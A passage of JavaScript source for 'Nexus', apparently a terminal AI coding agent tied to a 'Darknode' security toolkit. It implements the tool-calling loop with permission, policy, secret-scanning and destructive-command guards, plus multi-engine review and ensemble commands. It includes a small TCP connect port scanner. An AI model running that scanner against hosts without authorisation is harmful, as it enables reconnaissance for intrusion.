        if (oMsgs.length === 1) oMsgs[0].content = "Nexus agent (cwd " + cwd + "). One action/step. Tools: read_file{path} write_file{path,content} edit_file{path,find,replace} multi_edit{path,edits:[{find,replace}]} apply_patch{patch} list_dir{path?} run_command{command} run_background{command} check_background{id?} stop_background{id} search{pattern,path?} find{glob,path?} http_fetch{url,method?} web_search{query} todo_write{todos} sysinfo{} list_processes{filter?} make_dir{path} move{from,to} copy{from,to} delete{path} repo_map{} find_symbol{name} verify{kind?} remember{text} discover{query}." + extra + " repo_map{} returns a ranked file+symbol map to get oriented fast; find_symbol{name} jumps to where a function/class is defined. multi_edit makes several edits to one file atomically; apply_patch applies a unified diff (anchors on context, so line numbers can drift). edit_file/multi_edit tolerate whitespace differences. verify{kind?} auto-detects and runs the project's own tests/build — call it after editing to check your work before you finish. JSON: {\"thought\",\"action\":\"tool\",\"tool\",\"args\"} or {\"thought\",\"action\":\"final\",\"final\"}. Greetings→final. Minimize calls; chain commands." + (lean ? " Terse." : "") + (styleDir(style) ? " " + styleDir(style) : "") + (hack ? " " + HACK_DIR : "") + (nexusMd ? "\nPROJECT:\n" + nexusMd.slice(0, 1000) : "");
        if (imgAttach.length && apiConfigured()) oMsgs.push({ role: "user", content: [{ type: "text", text: promptText }].concat(imgAttach.map((im) => ({ type: "image_url", image_url: { url: "data:" + im.mime + ";base64," + im.b64 } }))) }); // OpenAI-compatible vision
        else if (imgAttach.length) oMsgs.push({ role: "user", content: promptText, images: imgAttach.map((im) => im.b64) }); // Ollama vision (llava / llama3.2-vision / …)
        else oMsgs.push({ role: "user", content: promptText });
        sess.inTok += Math.ceil(promptText.length / 4);
        const olbl = (n, a) => n === "read_file" ? "Read(" + base(a.path) + ")" : n === "write_file" ? "Write(" + base(a.path) + ")" : n === "edit_file" ? "Update(" + base(a.path) + ")" : (n === "multi_edit" || n === "multiedit") ? "MultiEdit(" + base(a.path) + ")" : (n === "apply_patch" || n === "patch") ? "Patch(" + ((parsePatch(a.patch || a.diff || a.content || "") || []).length || "?") + " files)" : n === "run_command" ? "Bash(" + oneline(a.command, 40) + ")" : n === "run_background" ? "Background(" + oneline(a.command, 32) + ")" : n === "check_background" ? "CheckJob(" + (a.id || "all") + ")" : n === "stop_background" ? "StopJob(" + (a.id || "?") + ")" : n === "list_dir" ? "List(" + (a.path || ".") + ")" : (n === "search" || n === "grep") ? "Search(" + oneline(a.pattern || a.query, 30) + ")" : (n === "find" || n === "find_files" || n === "glob") ? "Find(" + oneline(a.glob || a.pattern || a.name, 30) + ")" : (n === "http_fetch" || n === "web_fetch" || n === "fetch_url" || n === "http") ? "Fetch(" + oneline(a.url, 36) + ")" : (n === "web_search" || n === "search_web" || n === "google") ? "WebSearch(" + oneline(a.query || a.q, 30) + ")" : (n === "todo_write" || n === "todos" || n === "todo_list" || n === "write_todos") ? "Todo(" + ((a.todos || a.items || a.tasks || []).filter((t) => /done|complete/i.test((t && t.status) || "")).length) + "/" + ((a.todos || a.items || a.tasks || []).length) + ")" : (n === "sysinfo" || n === "system_info") ? "Sysinfo()" : (n === "list_processes" || n === "ps") ? "Processes()" : (n === "make_dir" || n === "mkdir") ? "Mkdir(" + base(a.path) + ")" : (n === "move" || n === "rename" || n === "move_file") ? "Move(" + base(a.to || a.dest) + ")" : (n === "copy" || n === "copy_file") ? "Copy(" + base(a.to || a.dest) + ")" : (n === "delete" || n === "delete_file" || n === "rm") ? "Delete(" + base(a.path) + ")" : n === "spawn_agents" ? "Task(" + ((a.tasks || []).length) + " agents)" : (n === "repo_map" || n === "repomap" || n === "map") ? "RepoMap()" : (n === "find_symbol" || n === "symbol" || n === "goto") ? "Symbol(" + oneline(a.name || a.symbol || a.query || "", 26) + ")" : (n === "verify" || n === "run_tests" || n === "test_project") ? "Verify(" + oneline(a.kind || a.command || "auto", 24) + ")" : n === "remember" ? "Remember(" + oneline(a.text || a.note || "", 34) + ")" : n === "discover" ? "Discover(" + oneline(a.query || a.q || "", 30) + ")" : String(n).startsWith("mcp__") ? String(n).replace(/^mcp__/, "").replace("__", ":") + "()" : n + "()";
        (async () => {
          let mdl = process.env.DARKNODE_MODEL || (sess.model && sess.model !== engine ? sess.model : "");
          if (!mdl) { mdl = pickCoderModel(await ollamaTags()); }
          sess.model = mdl || engine;
          if (!mdl) { ensureText().full = apiConfigured() ? "An API is configured but no model is set — run /model <name> (e.g. /model gpt-4o-mini), or /api <url> <model>." : "No local model found. Install Ollama and pull one, e.g. `ollama pull gpt-oss:20b`, or use /engine claude."; return finish({ output: "" }); }
          // Greeting / trivial message → reply conversationally and NEVER enter the tool
          // loop (so "hi" can't make a weak model start probing the system).
          if (isChitchat(promptText) && !imgAttach.length) {
            let reply = ""; try { reply = await ollamaChat(mdl, [{ role: "system", content: "You are Nexus, a friendly local AI assistant in a terminal on a security workstation. Reply briefly and warmly. Do NOT use tools or inspect the system." }, { role: "user", content: promptText }], undefined, aSignal(ctl)); } catch (_) {}
            const t = ensureText(); t.full += (t.full ? "\n\n" : "") + ((reply || "").trim() || "Hi! I'm Nexus — ask me anything, or give me a task and I'll use tools to do it.");
            sess.outTok += Math.ceil((reply || "").length / 4); return finish({ output: "" });
          }
          let didTool = false, nudges = 0, filesThisTurn = 0; const readCache = {};
          const stepLimit = lean ? 12 : 20;
          const turnStartTok = sess.outTok;
          for (let step = 1; step <= stepLimit; step++) {
            if (ctl && ctl.stopped) { ensureText().full += (ensureText().full.trim() ? "\n" : "") + "(interrupted)"; break; }
            if (lean && (sess.outTok - turnStartTok) > 8000) { ensureText().full += "\n(token budget for this turn reached — wrap up with /continue if needed)"; break; }
            let raw; try { raw = await ollamaChat(mdl, oMsgs, CODER_SCHEMA, aSignal(ctl)); } catch (e) { if (ctl && ctl.stopped) break; ensureText().full += "\nmodel error: " + e.message; break; }
            sess.outTok += Math.ceil(raw.length / 4); sess.liveOut += Math.ceil(raw.length / 4);
            let o; try { o = JSON.parse(raw); } catch (_) { oMsgs.push({ role: "tool", content: "Reply with valid schema JSON only." }); continue; }
            oMsgs.push({ role: "assistant", content: raw });
            if (o.thought) { const t = ensureText(); t.full += (t.full ? "\n" : "") + o.thought; render(); }
            if (o.action === "final") { if (!didTool && !isChitchat(promptText) && nudges++ < 2) { oMsgs.push({ role: "tool", content: "Do the real work with tools first." }); continue; } if (o.final) { const t = ensureText(); t.full += (t.full ? "\n\n" : "") + o.final; } break; }
            const { name, a } = normalizeToolCall(o);
            const card = { type: "tool", id: "o" + step, name, label: olbl(name, a), status: "run", start: Date.now(), detail: JSON.stringify(a).slice(0, 400) };
            block.items.push(card);
            if (name === "run_command") { runningShells++; stat.cmds++; }
            if (name === "spawn_agents") activeAgents += (a.tasks || []).length;
            if (["write_file", "edit_file"].includes(name) && a.path) { stat.files.add(base(a.path)); const r = relOf(a.path); if (r) stat.paths.add(r); }
            render();
            let result, blocked = false;
            if (mode === 2 && (["write_file", "edit_file", "multi_edit", "multiedit", "apply_patch", "patch", "run_command", "delete", "delete_file", "rm", "move", "move_file", "rename", "copy", "copy_file", "make_dir", "mkdir", "spawn_agents"].includes(name) || String(name).startsWith("mcp__"))) { result = { error: "plan mode is on — file/system changes are blocked. Describe the plan instead, then switch mode with shift+tab to execute." }; blocked = true; card.status = "err"; }
            const _perm = permDecision(perms, name, a); // permission allowlist (/permissions)
            if (!blocked && _perm === "deny") { result = { error: "denied by a permission rule (/permissions) — the operator disallowed this. They can /allow it or run it directly." }; blocked = true; card.status = "err"; transcript.push({ role: "system", text: "permission rule denied " + name + (a.command ? " (" + oneline(a.command, 40) + ")" : a.path ? " (" + a.path + ")" : "") }); }
            if (!blocked && _perm !== "allow" && (name === "run_command" || name === "run_background") && guard !== "off") { const d = classifyDanger(a.command); if (d.level === "block" && guard === "enforce") { result = { error: "BLOCKED by Darknode guard: " + d.why + " (/guard off to allow, or run it yourself with !)" }; blocked = true; card.status = "err"; transcript.push({ role: "system", text: "Darknode guard blocked a destructive command — " + d.why + ": " + oneline(a.command, 46) }); } else if (d.level !== "ok") transcript.push({ role: "system", text: "Darknode: " + d.why + " — " + oneline(a.command, 46) + (d.level === "block" ? " (allowed; guard is " + guard + ")" : "") }); }
            // ---- enterprise policy guardrails (.nexus/policy.json) ----
            if (!blocked) {
              const act = (name === "run_command" || name === "run_background") ? { type: "run", command: a.command }
                : ["http_fetch", "web_fetch", "fetch_url", "http"].includes(name) ? { type: "fetch" }
                : name === "write_file" ? { type: "write", path: a.path }
                : (name === "edit_file" || name === "multi_edit" || name === "multiedit") ? { type: "edit", path: a.path }
                : (name === "apply_patch" || name === "patch") ? { type: "edit" }
                : ["delete", "delete_file", "rm"].includes(name) ? { type: "delete", path: a.path }
                : ["move", "move_file", "rename", "copy", "copy_file"].includes(name) ? { type: "move", path: a.to || a.dest || a.path }
                : null;
              if (act) {
                const pc = policyCheck(policy, act);
                if (!pc.allow) { result = { error: "BLOCKED by policy: " + pc.reason + (pc.approval ? " — needs approval (edit .nexus/policy.json or run it yourself with !)" : "") }; blocked = true; card.status = "err"; transcript.push({ role: "system", text: "policy blocked " + name + " — " + pc.reason }); if (policy.audit) auditLog(cwd, { engine, tool: name, path: act.path, cmd: act.command, status: "blocked", reason: pc.reason }); }
                else if ((act.type === "write" || act.type === "edit") && policy.maxFilesPerTurn > 0 && filesThisTurn >= policy.maxFilesPerTurn) { result = { error: "BLOCKED by policy: reached the " + policy.maxFilesPerTurn + "-file-per-turn limit" }; blocked = true; card.status = "err"; }
              }
              a.__act = act; // stash for post-exec audit
            }
            if (!blocked && hooks) { const hr = runHooks(hooks, "PreToolUse", { TOOL_NAME: name, TOOL_ARGS: JSON.stringify(a) }, cwd); if (hr.block) { result = { error: "blocked by PreToolUse hook" + (hr.out ? ": " + hr.out : "") }; blocked = true; } }
            if (!blocked) try {
              if (name === "read_file") { const fp = path.resolve(cwd, a.path); const mt = fs.statSync(fp).mtimeMs; if (readCache[fp] === mt) result = { content: "(unchanged since you read " + a.path + " earlier this turn — not re-sending to save tokens)" }; else { readCache[fp] = mt; result = { content: fs.readFileSync(fp, "utf8").slice(0, 14000) }; } }
              else if (name === "list_dir") result = { items: fs.readdirSync(path.resolve(cwd, a.path || "."), { withFileTypes: true }).map((e) => e.isDirectory() ? e.name + "/" : e.name).slice(0, 200) };
              else if (name === "write_file") { const fp = path.resolve(cwd, a.path); const sec = scanSecrets(a.content); if (policy.blockSecrets && sec.length) { result = { error: "BLOCKED by policy: file contains " + sec.join(", ") + " — secret writes are disabled (policy.blockSecrets)" }; transcript.push({ role: "system", text: "policy blocked write to " + a.path + " — contains " + sec.join(", ") }); if (policy.audit) auditLog(cwd, { engine, tool: name, path: a.path, status: "blocked", reason: "secret:" + sec.join("/") }); } else { fs.mkdirSync(path.dirname(fp), { recursive: true }); fs.writeFileSync(fp, a.content == null ? "" : a.content); delete readCache[fp]; invalidateRepoMap(); result = sec.length ? { ok: true, warning: "Nexus flagged possible secret(s) in this file: " + sec.join(", ") + " — review before committing" } : { ok: true }; if (sec.length) transcript.push({ role: "system", text: "security warning: " + a.path + " may contain " + sec.join(", ") + " — Nexus wrote it but flagged it" }); } }
              else if (name === "edit_file") { const fp = path.resolve(cwd, a.path); const t = fs.readFileSync(fp, "utf8"); const r = applyEditsFlexible(t, [{ find: a.find, replace: a.replace, replaceAll: a.replace_all || a.replaceAll }]); if (!r.ok) result = { error: r.error }; else { fs.writeFileSync(fp, r.content); delete readCache[fp]; invalidateRepoMap(); result = r.applied[0] && r.applied[0].mode === "flexible" ? { ok: true, note: "matched ignoring whitespace/indentation — the change was re-indented to fit; verify it reads right" } : { ok: true }; } }
              else if (name === "multi_edit" || name === "multiedit") { const fp = path.resolve(cwd, a.path); let t; try { t = fs.readFileSync(fp, "utf8"); } catch (_) { t = null; } if (t == null) result = { error: "cannot read " + a.path }; else { const edits = (a.edits || a.changes || []).map((e) => ({ find: e.find || e.old || e.search, replace: e.replace == null ? (e.new == null ? "" : e.new) : e.replace, replaceAll: e.replace_all || e.replaceAll })); const r = applyEditsFlexible(t, edits); if (!r.ok) result = { error: r.error }; else { const sec = policy.blockSecrets ? scanSecrets(r.content) : []; if (sec.length) { result = { error: "BLOCKED by policy: edit would introduce " + sec.join(", ") }; blocked = true; } else { fs.writeFileSync(fp, r.content); delete readCache[fp]; invalidateRepoMap(); result = { ok: true, edits: r.applied.length, flexible: r.applied.filter((x) => x.mode === "flexible").length }; } } } }
              else if (name === "apply_patch" || name === "patch") { const diff = a.patch || a.diff || a.content || a.input || ""; const filesP = parsePatch(diff); if (!filesP.length) result = { error: "no hunks parsed from the patch (need a unified diff with @@ hunks)" }; else { let failed = null; const planW = []; for (const f of filesP) { if (!f.file) { failed = "a hunk had no target file (need --- a/path / +++ b/path headers)"; break; } const rp = path.resolve(cwd, f.file); const rel = path.relative(cwd, rp); if (rel.startsWith("..") || path.isAbsolute(rel)) { failed = f.file + ": path escapes the workspace"; break; } const pc = policyCheck(policy, { type: "edit", path: f.file }); if (!pc.allow) { failed = f.file + ": blocked by policy — " + pc.reason; break; } let cont = ""; try { cont = fs.readFileSync(rp, "utf8"); } catch (_) { cont = ""; } const ap = applyHunks(cont, f.hunks); if (!ap.ok) { failed = f.file + ": " + ap.error; break; } if (policy.blockSecrets && scanSecrets(ap.content).length) { failed = f.file + ": patch would introduce a secret"; break; } planW.push({ rp, file: f.file, content: ap.content }); } if (failed) { result = { error: failed }; if (/blocked by policy|secret/.test(failed)) { blocked = true; } } else { for (const p of planW) { fs.mkdirSync(path.dirname(p.rp), { recursive: true }); fs.writeFileSync(p.rp, p.content); delete readCache[p.rp]; stat.files.add(base(p.file)); const rr = relOf(p.file); if (rr) stat.paths.add(rr); } invalidateRepoMap(); result = { ok: true, files: planW.map((p) => p.file) }; } } }
              else if (name === "run_command") { const r = await coderShell(a.command, cwd); result = { code: r.code, output: compactOutput(r.output, lean ? 2000 : 4000) }; }
              else if (name === "run_background") { if (!a.command || typeof a.command !== "string") { result = { error: "run_background needs a non-empty command string" }; } else { const p = _cp.spawn(process.platform === "win32" ? "cmd" : "sh", process.platform === "win32" ? ["/c", a.command] : ["-c", a.command], { cwd, env: process.env }); const id = bgJobs.start(a.command, p, Date.now()); p.stdout && p.stdout.on("data", (d) => bgJobs.append(id, d)); p.stderr && p.stderr.on("data", (d) => bgJobs.append(id, d)); p.on("close", (code) => bgJobs.finish(id, code)); p.on("error", (e) => { bgJobs.append(id, "spawn error: " + e.message); bgJobs.finish(id, 1); }); result = { ok: true, jobId: id, status: "running", hint: "poll it with check_background{id:'" + id + "'}, stop it with stop_background{id:'" + id + "'}" }; } }
              else if (name === "check_background") { if (a.id) { const j = bgJobs.get(a.id); result = j ? { id: j.id, status: j.status, code: j.code, output: compactOutput(bgJobs.tail(a.id, 6000), 4000) } : { error: "no such job " + a.id }; } else result = { jobs: bgJobs.list() }; }
              else if (name === "stop_background") { result = a.id ? { ok: bgJobs.stop(a.id), stopped: a.id } : { error: "stop_background needs a job id" }; }
              else if (name === "spawn_agents") { const tasks = (a.tasks || []).map(String).filter(Boolean).slice(0, 8); const outs = await runSubagents(engine, tasks, cwd, mdl, null, ctl); result = { agents: outs.map((o2, i) => ({ task: tasks[i], result: (o2 || "").slice(0, 1500) })) }; }
              else if (String(name).startsWith("mcp__")) { const srv = mcpServers.find((s) => !s.error && String(name).slice(5).startsWith(s.name + "__")); if (!srv) result = { error: "MCP tool not connected: " + name }; else { const tool = String(name).slice(5 + srv.name.length + 2); const r = await srv.call("tools/call", { name: tool, arguments: a }); result = { content: resultText((r && r.content) || r) }; } }
              else if (name === "discover") { result = { tools: discoverTools(a.query || a.q || "", TOOL_CATALOG.concat(mcpToolList().map((m) => [m.full, m.desc]))) }; }
              else if (name === "repo_map" || name === "repomap" || name === "map") { const rm = getRepoMap({ fresh: !!a.fresh }); result = rm && rm.map ? { map: rm.text, files: rm.map.fileCount, symbols: rm.map.symbolCount } : { error: "could not build a repo map here" }; }
              else if (name === "find_symbol" || name === "symbol" || name === "goto") { const rm = getRepoMap(); const q = a.name || a.symbol || a.query || a.q || ""; const hits = rm && rm.map ? findSymbol(rm.map, q, { limit: 20 }) : []; result = hits.length ? { symbol: q, definitions: hits } : { symbol: q, definitions: [], note: "no definition found in the repo map — try search{pattern} for usages" }; }
              else if (name === "verify" || name === "run_tests" || name === "test_project") { const cmds = detectVerify(); const kind = (a.kind || "").toLowerCase(); const chosen = (kind && cmds[kind]) ? { kind, cmd: cmds[kind] } : (a.command ? { kind: "custom", cmd: String(a.command) } : pickVerify(cmds)); if (!chosen) { result = { error: "no test/build command detected for this project — pass command to run a specific one", detected: cmds }; } else { const r = await coderShell(chosen.cmd, cwd); result = { ran: chosen.cmd, kind: chosen.kind, code: r.code, ok: r.code === 0, output: compactOutput(r.output, lean ? 2500 : 6000) }; } }
              else if (name === "remember") { const note = a.text || a.note || a.content || ""; let md0 = ""; try { md0 = fs.readFileSync(path.join(cwd, ".nexus", "NEXUS.md"), "utf8"); } catch (_) {} const rr = mergeMemory(md0, note); if (rr.added) { fs.mkdirSync(path.join(cwd, ".nexus"), { recursive: true }); fs.writeFileSync(path.join(cwd, ".nexus", "NEXUS.md"), rr.md); result = { ok: true, remembered: true }; transcript.push({ role: "system", text: "remembered → .nexus/NEXUS.md: " + oneline(note, 60) }); } else result = { ok: true, remembered: false, note: rr.reason || "already known" }; }
              else { const dr = await deviceTool(name, a, cwd); result = dr !== null ? dr : { error: "unknown tool " + name }; if (dr !== null && ["move", "copy", "copy_file", "move_file", "rename", "make_dir", "mkdir", "delete", "delete_file", "rm"].includes(name) && (a.path || a.to || a.dest)) { const fp = a.to || a.dest || a.path; stat.files.add(base(fp)); const r = relOf(fp); if (r) stat.paths.add(r); invalidateRepoMap(); } }
            } catch (e) { result = { error: e.message }; }
            if (!(result && typeof result.error === "string" && result.error.startsWith("unknown tool"))) didTool = true;
            if (name === "run_command" && runningShells) runningShells--;
            if (name === "spawn_agents") activeAgents = Math.max(0, activeAgents - (a.tasks || []).length);
            if (hooks && !blocked) try { runHooks(hooks, "PostToolUse", { TOOL_NAME: name, TOOL_ARGS: JSON.stringify(a), TOOL_RESULT: JSON.stringify(result).slice(0, 2000) }, cwd); } catch (_) {}
            card.status = result.error ? "err" : "ok"; card.end = Date.now(); card.detail = oneline(resultText(JSON.stringify(result)), 260);
            if (a.__act && !blocked) { if (policy.audit) auditLog(cwd, { engine, tool: name, path: a.__act.path, cmd: a.__act.command, status: result && result.error ? "error" : "ok" }); if ((a.__act.type === "write" || a.__act.type === "edit") && result && !result.error) filesThisTurn++; }
            const obs = JSON.stringify(result).slice(0, 14000);
            oMsgs.push({ role: "tool", content: obs }); sess.inTok += Math.ceil(obs.length / 4);
            render();
          }
          sess.ctxUsed = sess.inTok + sess.outTok;
          finish({ output: "done" });
        })();
      }
    };
    // ---- parallel sub-agents: fan a set of independent tasks across the current engine ----
    const spawnAgents = (tasks) => {
      tasks = tasks.map((s) => s.trim()).filter(Boolean).slice(0, 8);
      transcript.push({ role: "user", text: "/agents  " + tasks.join("  ;;  ") });
      const block = { role: "nexus", items: [] }; transcript.push(block);
      const t0 = Date.now(), in0 = sess.inTok, out0 = sess.outTok; scroll = 0;
      busy = true; busyStart = Date.now(); busyWord = "Orchestrating"; sess.liveOut = 0;
      ctl = makeCtl();
      activeAgents = tasks.length;
      const cards = tasks.map((tk, i) => ({ type: "tool", id: "ag" + i, name: "Task", label: "Task(" + oneline(tk, 30) + ")", status: "run", start: Date.now(), detail: tk }));
      cards.forEach((c) => block.items.push(c));
      startTick(); render();
      const agentsCtl = ctl; const pick = (cowork.on && engine === "claude" && cowork.weakKind === "claude") ? ((t) => { const est = Math.ceil(t.length / 4) + 800; if (isMechanical(t) && shouldDelegate(est, est * 4, cowork.strong, cowork.weak)) { impact.delegated++; impact.coworkSaved += (priceOf(cowork.strong).out - priceOf(cowork.weak).out) * (est * 3) / 1e6; return cowork.weak; } return cowork.strong; }) : (cowork.on && engine === "claude" ? ((t) => cowork.strong) : null); (async () => { const mdl = engine === "ollama" ? (sess.model && sess.model !== engine ? sess.model : pickCoderModel(await ollamaTags())) : sess.model; return runSubagents(engine, tasks, cwd, mdl, (i, phase) => { if (phase === "done") { cards[i].status = "ok"; cards[i].end = Date.now(); activeAgents = Math.max(0, activeAgents - 1); } render(); }, agentsCtl, pick); })()
        .then((outs) => {
          const t = ensureText();
          t.full = outs.map((o, i) => "### agent " + (i + 1) + " — " + oneline(tasks[i], 60) + "\n" + (o || "(no output)")).join("\n\n");
          for (const c of cards) if (c.status === "run") { c.status = "ok"; c.end = Date.now(); }
          sess.outTok += Math.ceil(outs.join("").length / 4); sess.ctxUsed = sess.inTok + sess.outTok;
          activeAgents = 0; busy = false; ctl = null;
          block.summary = tasks.length + " agents  ·  ↑" + fmtK(sess.inTok - in0) + " ↓" + fmtK(sess.outTok - out0) + " tok  ·  " + ((Date.now() - t0) / 1000).toFixed(1) + "s";
          try { saveSession(); } catch (_) {} render();
        }).catch(() => { activeAgents = 0; busy = false; ctl = null; render(); });
    };
    // quick TCP connect scan (Nexus ships with the Darknode security toolkit)
    const quickScan = (host, ports) => new Promise((resolve) => {
      const net = require("net"); const open = []; let done = 0;
      if (!ports.length) return resolve([]);
      ports.forEach((port) => { const sk = new net.Socket(); sk.setTimeout(1200); sk.once("connect", () => { open.push(port); sk.destroy(); }).once("timeout", () => sk.destroy()).once("error", () => {}).once("close", () => { if (++done === ports.length) resolve(open.sort((x, y) => x - y)); }); try { sk.connect(port, host); } catch (_) { if (++done === ports.length) resolve(open); } });
    });
    // /race — run the SAME prompt on multiple engines at once and show every answer (cloud vs local)
    const raceEngines = (prompt) => {
      const avail = []; for (const e of ENGINE_ORDER) { if (e === "ollama" || engineAvail(e)) avail.push(e); } // race across every installed engine + local
      const race = [...new Set([engine].concat(avail))].slice(0, 3);
      transcript.push({ role: "user", text: "/race  " + prompt });
      const block = { role: "nexus", items: [] }; transcript.push(block);
      const t0 = Date.now(); scroll = 0; busy = true; busyStart = Date.now(); busyWord = "Racing"; ctl = makeCtl();
      const cards = race.map((e, i) => ({ type: "tool", id: "rc" + i, name: "Task", label: "Task(" + e + ")", status: "run", start: Date.now(), detail: e }));
      cards.forEach((c) => block.items.push(c)); startTick(); render();
      const racer = (e, i) => {
        const s = Date.now();
        const work = (async () => { let out; try { if (e === "ollama") { const mdl = sess.model && sess.model !== engine ? sess.model : pickCoderModel(await ollamaTags()); out = await ollamaChat(mdl, [{ role: "user", content: prompt }], undefined, aSignal(ctl)); } else { out = (await runEngineTask(e, prompt, cwd, false, false, null, ctl)).output; } } catch (err) { out = "error: " + err.message; } return { e, out: (out || "").trim(), ms: Date.now() - s }; })(); // read-only (autonomous=false) — /race compares answers, shouldn't edit files
        const timeout = new Promise((res) => setTimeout(() => res({ e, out: "(no response within 60s)", ms: 60000, timedOut: true }), 60000));
        return Promise.race([work, timeout]).then((r) => { cards[i].status = r.timedOut ? "err" : "ok"; cards[i].end = Date.now(); render(); return r; });
      };
      Promise.all(race.map(racer)).then((res) => {
        res.sort((a, b) => a.ms - b.ms);
        ensureText().full = res.map((r, i) => "### " + (i === 0 ? "fastest — " : "") + r.e + "  (" + (r.ms / 1000).toFixed(1) + "s)\n" + (r.out || "(no output)")).join("\n\n");
        busy = false; ctl = null; block.summary = race.length + " engines raced  ·  " + ((Date.now() - t0) / 1000).toFixed(1) + "s"; try { saveSession(); } catch (_) {} render();
      }).catch(() => { busy = false; ctl = null; render(); });
    };
    // /review — have a DIFFERENT engine critique Nexus's last answer (cross-engine second opinion)
    const reviewLast = (revEngine) => {
      let last = ""; for (let i = transcript.length - 1; i >= 0; i--) { const m = transcript[i]; if (m.role === "nexus") { last = (m.items || []).filter((it) => it.type === "text").map((it) => it.full).join("\n").trim(); if (last) break; } }
      if (!last) { transcript.push({ role: "system", text: "nothing to review yet — ask Nexus something first" }); render(); return; }
      const re = ((ENGINES[revEngine] && engineAvail(revEngine)) ? revEngine : (engine === "claude" ? "ollama" : "claude"));
      const prompt = "Review for correctness, bugs, security issues. List concrete problems only.\n\n" + last.slice(0, 6000);
      transcript.push({ role: "user", text: "/review  (second opinion from " + re + ")" });
      const block = { role: "nexus", items: [] }; transcript.push(block);
      scroll = 0; busy = true; busyStart = Date.now(); busyWord = "Reviewing"; ctl = makeCtl();
      const card = { type: "tool", id: "rv", name: "Task", label: "Task(review via " + re + ")", status: "run", start: Date.now() };
      block.items.push(card); startTick(); render();
      (async () => {
        let out; try { if (re === "ollama") { const mdl = pickCoderModel(await ollamaTags()); out = await ollamaChat(mdl, [{ role: "user", content: prompt }], undefined, aSignal(ctl)); } else { out = (await runEngineTask(re, prompt, cwd, false, false, null, ctl)).output; } } catch (e) { out = "error: " + e.message; }
        card.status = "ok"; card.end = Date.now(); ensureText().full = "second opinion (" + re + "):\n\n" + (out || "(no output)").trim(); busy = false; ctl = null; try { saveSession(); } catch (_) {} render();
      })();
    };
    // /ultrareview — a rigorous, multi-lens review of the working diff (correctness,
    // security, performance, tests, maintainability) with severity-ranked findings,
    // run on the strongest available engine.
    const ultraReview = () => {
      transcript.push({ role: "user", text: "/ultrareview" });
      const block = { role: "nexus", items: [] }; transcript.push(block);
      scroll = 0; busy = true; busyStart = Date.now(); busyWord = "Reviewing"; ctl = makeCtl();
      const re = (!offline && engineAvail("claude")) ? "claude" : (offline ? "ollama" : engine);
      const card = { type: "tool", id: "urv", name: "Task", label: "Task(ultrareview · " + re + ")", status: "run", start: Date.now() };
      block.items.push(card); startTick(); render();
      (async () => {
        let diff = ""; let src = "working tree";
        try { let d = await sh(["diff", "--no-color"]); diff = (d.stdout || "").trim(); if (!diff) { d = await sh(["diff", "--cached", "--no-color"]); diff = (d.stdout || "").trim(); src = "staged"; } if (!diff) { d = await sh(["diff", "--no-color", "HEAD~1"]); diff = (d.stdout || "").trim(); src = "last commit"; } } catch (_) {}
        if (!diff) { card.status = "err"; card.end = Date.now(); ensureText().full = "nothing to review — no working, staged, or last-commit changes found (make some edits first)"; busy = false; ctl = null; render(); return; }
        const prompt = buildReviewPrompt(diff);
        let out; try { if (re === "ollama") { const mdl = pickCoderModel(await ollamaTags()); out = await ollamaChat(mdl, [{ role: "user", content: prompt }], undefined, aSignal(ctl)); } else { out = (await runEngineTask(re, prompt, cwd, false, false, null, ctl)).output; } } catch (e) { out = "error: " + e.message; }
        out = (out || "(no output)").trim();
        const sv = countBySeverity(out); const tally = SEVERITY.filter((s) => sv[s]).map((s) => (s === "critical" || s === "high" ? red : s === "medium" ? yellow : gray)(sv[s] + " " + s)).join(gray(" · "));
        card.status = "ok"; card.end = Date.now();
        ensureText().full = bold("ultrareview") + gray("  " + re + " · " + src) + (tally ? "  " + tally : "  " + green("no issues flagged")) + "\n\n" + out;
        busy = false; ctl = null; try { saveSession(); } catch (_) {} render();
      })();
    };
    // ask one engine a question (no file changes) — used by /ensemble
    const engineAnswer = async (e, prompt) => { try { if (e === "ollama") { const mdl = sess.model && sess.model !== engine ? sess.model : pickCoderModel(await ollamaTags()); return await ollamaChat(mdl, [{ role: "user", content: prompt }], undefined, aSignal(ctl)); } return (await runEngineTask(e, prompt, cwd, false, false, null, ctl, (cowork.on && e === "claude") ? cowork.weak : undefined)).output; } catch (err) { return "error: " + err.message; } };
    // /ensemble — run the prompt on every engine, then synthesize the single best answer
    const ensembleEngines = (prompt) => {
      const avail = []; for (const e of ENGINE_ORDER) { if (e === "ollama" || (engineAvail(e) && !offline)) avail.push(e); }
      const members = [...new Set([offline ? "ollama" : engine].concat(avail))].slice(0, 3);
      transcript.push({ role: "user", text: "/ensemble  " + prompt });
      const block = { role: "nexus", items: [] }; transcript.push(block);
      const t0 = Date.now(); scroll = 0; busy = true; busyStart = Date.now(); busyWord = "Ensembling"; ctl = makeCtl();
      const cards = members.map((e, i) => ({ type: "tool", id: "en" + i, name: "Task", label: "Task(" + e + ")", status: "run", start: Date.now(), detail: e }));
      const synth = { type: "tool", id: "syn", name: "Task", label: "Task(synthesize)", status: "run", start: Date.now() };
      cards.forEach((c) => block.items.push(c)); startTick(); render();
      Promise.all(members.map((e, i) => Promise.race([engineAnswer(e, prompt).then((o) => ({ e, o: (o || "").trim() })), new Promise((r) => setTimeout(() => r({ e, o: "(no response within 60s)" }), 60000))]).then((r) => { cards[i].status = "ok"; cards[i].end = Date.now(); render(); return r; })))
        .then(async (res) => {
          synth.start = Date.now(); block.items.push(synth); render();
          const se = offline ? "ollama" : engine;
          const sp = res.length + " candidate answers. Combine strengths, fix mistakes, return ONLY the best answer.\n\nQ: " + prompt + "\n\n" + res.map((r, i) => "==" + (i + 1) + " (" + r.e + ")==\n" + r.o).join("\n\n");
          let best; try { best = await engineAnswer(se, sp); } catch (_) { best = res[0] && res[0].o; }
          synth.status = "ok"; synth.end = Date.now();
          ensureText().full = "best-of-" + res.length + " (synthesized by " + se + "):\n\n" + (best || "(no output)").trim();
          busy = false; ctl = null; block.summary = res.length + " engines + synthesis  ·  " + ((Date.now() - t0) / 1000).toFixed(1) + "s"; try { saveSession(); } catch (_) {} render();
        }).catch(() => { busy = false; ctl = null; render(); });
    };
    // /bench — run a prompt on each engine and report a speed / tokens / cost table (real cost for claude)
    const benchEngines = (prompt) => {
      const members = [...new Set([offline ? "ollama" : engine].concat((hasBin("claude") && !offline) ? ["claude", "ollama"] : ["ollama"]))].slice(0, 3);
      transcript.push({ role: "user", text: "/bench  " + prompt });
      const block = { role: "nexus", items: [] }; transcript.push(block);
      const t0 = Date.now(); scroll = 0; busy = true; busyStart = Date.now(); busyWord = "Benchmarking"; ctl = makeCtl();
